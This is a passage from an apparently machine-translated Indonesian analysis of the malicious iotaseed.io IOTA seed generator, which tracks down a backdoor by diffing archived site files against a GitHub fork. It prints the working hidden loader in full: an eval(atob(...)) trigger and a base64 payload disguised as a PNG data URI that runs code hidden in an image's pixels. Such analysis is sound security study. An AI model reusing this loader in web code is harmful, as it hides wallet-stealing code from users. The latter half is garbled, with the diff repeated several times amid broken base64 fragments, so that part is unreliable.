Ars Techica baru-baru ini
menerbitkan materi yang menggambarkan bagaimana generator frase frase iotase.io seed, iotaseed.io, yang berbahaya (dan sekarang tidak lagi berfungsi), memungkinkan pembuatnya mencuri cryptocurrency IOTA senilai hampir $ 4 juta dari dompet pengguna.

Menurut deskripsi publikasi, situs web "menyimpan data pada setiap frase awal yang dihasilkan bersama dengan informasi tentang dompet yang terkait, memungkinkan pemilik situs web (atau mereka yang meretasnya) untuk hanya menunggu token tiba di dompet, dan kemudian tarik mereka ke akun Anda. " Dalam artikel ini, saya memutuskan untuk mempelajari sisi teknis dari penipuan ini.
Kami sedang mencari kode
Versi asli situs web iotaseed.io telah digantikan oleh pesan yang menyatakan bahwa itu dinonaktifkan. Untungnya, salinan situs
disimpan oleh Wayback Machine.
Situs web mengarah ke repositori github, memperingatkan pengunjung bahwa kode terbuka untuk ditinjau, tetapi merekomendasikan pengguna untuk membuat seed di situs web itu sendiri, karena repositori mungkin berisi kode yang lebih baru dan belum diuji.
Berdasarkan informasi ini, saya berasumsi bahwa kode berbahaya hanya bertindak di situs, dan itu tidak ada dalam repositori. Pendekatan semacam itu akan memungkinkan untuk menyembunyikan fragmen kode yang digunakan untuk mencuri benih. Repositori hanya berisi kode bersih yang tidak menimbulkan pertanyaan atau kecurigaan. Ini akan menjelaskan rekomendasi untuk hanya menggunakan situs web dan bukan repositori. Jika ini benar, maka setiap upaya untuk membandingkan JavaScript di situs dengan JavaScript di repositori Github akan mengarah ke deteksi jelas dari pintu belakang di situs.
Sayangnya, repositori iotaseed.io github merujuk pada
norbertvdberg / iotaseed yang sudah dihapus (akun juga telah dihapus). Wayback Machine hanya menyimpan
halaman repositori
utama . Menanggapi upaya untuk melihat kode atau mengunduh arsip zip-nya, WM mengatakan bahwa halaman-halaman ini tidak diarsipkan padanya. Namun demikian, melihat penghitung garpu di sudut kanan atas, kita dapat menemukan bahwa kode ini dipalsukan oleh 8 akun yang berbeda. Setelah memeriksa
artikel terkait di basis pengetahuan GitHub, kita belajar bahwa menghapus repositori tidak memengaruhi pekerjaan forknya. Ini berarti bahwa salinan dari repositori ini mungkin masih ada di suatu tempat dalam luasnya layanan.

Pencarian cepat dari komit yang terlihat dalam salinan halaman yang disimpan oleh Wayback Machine memungkinkan Anda untuk mengetahui hal-hal berikut:

Sepertinya
eggdroid / eggseed3 adalah salah satu fork dari kode asli iotaseed.io. Semua 26 komit di dalamnya dibuat oleh norbertvdberg, yaitu, pemilik-pengguna yang sama dari repositori asli. Sekarang kami memiliki file situs web dan JavaScript dari github yang kami miliki, saatnya untuk membandingkannya dan menemukan perbedaannya.
Menganalisis kode
Generator seed terdiri dari banyak file JavaScript berbeda yang digabungkan menjadi satu file
all.js
diperkecil menjadi
all.mini.js.
Dialah yang sebenarnya digunakan pada halaman. Oleh karena itu, saya membandingkannya dengan file js yang sama dari salinan WM yang disimpan.
$ shasum all-website.mini.js all-github.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js 3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js
Sayangnya, kedua file tersebut ternyata sama. Mengaduk-aduk kode, saya perhatikan bahwa segera setelah dompet dihasilkan, Pekerja Web
mulai menghasilkan kode QR dan data untuk versi kertas dompet. Kode untuk pekerja ini ada di
all-wallet.mini.js
. Mungkin ada sesuatu yang tersembunyi di dalamnya?
Versi file ini dari situs dan dari salinan WM tampak berbeda, jadi saya menjalankan kedua file melalui
js-beautify , kemudian membandingkannya dengan diff untuk melihat perbedaan spesifik.
$ diff all-wallet-website.js all-wallet-github.js 1313c1313 < t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) --- > t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest) 1713c1713 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t --- > this.provider = e || "http://localhost:14265", this.token = t 1718c1718 < this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/" --- > this.provider = e || "http://localhost:14265" 6435c6435 < website: "http://web.archive.org/web/20180120222030/https://iota.org/" --- > website: "https://iota.org" 6440c6440 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues" --- > url: "https://github.com/iotaledger/iota.lib.js/issues" 6444c6444 < url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git" --- > url: "https://github.com/iotaledger/iota.lib.js.git"
Tetapi satu-satunya perbedaan adalah bahwa Mesin Wayback menulis ulang beberapa URL untuk menunjuk ke
web.archive.org
. Dari sudut pandang fungsional, kode generasi seed di kedua file ternyata sama.
Setelah itu, saya memutuskan untuk melihat lebih dekat pada index.html dan melihat memuat javascript lain dari
perpustakaan lansiran , yang saya abaikan terlebih dahulu. Saya melakukan manipulasi yang sama dengan salinan WM yang disimpan dan salinan dari repositori dan kode yang mencurigakan menjadi jelas:
$ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
Data: image / png; base64, iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A / WD / oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo / h4eEzODbm5 + eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03 / 9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q, ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4 + MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7, TbRznoTD3oTD1JR0iX $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
zMnj4 + PW19VGRkbqPi7v7 / D6 + vr09fXyTj4rKSvhSTo / Pj / oSDnlMyLsNCI0MTP0 /// tTT7ZRjizOi + 6PDDmLRyenZ7oKRfExMT / TzvobGEVFBWGhYUAGjLW8 / ToXVADLUZ8e33 / 2tfRRTdWVFTFQDT1u7aSkZIADib + 5eFwcHHW + / z70tDwkIesPTPW6 + teXV2xsbG7u7vY4 + Lre3DMzM2qp6jilIxsPT7lg3kdO07m / f4AJjuwsJzftK / fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f + 8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF / o64s + $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < },
v1fpVECdtPSy5822Bi + JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4 + 4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4 / BDMEQ6RM + oNQ6vjJyWFTNTDJlau0e1drAO + Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN + T + Uogmu2QR5ucsaXuV6w1hat $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3END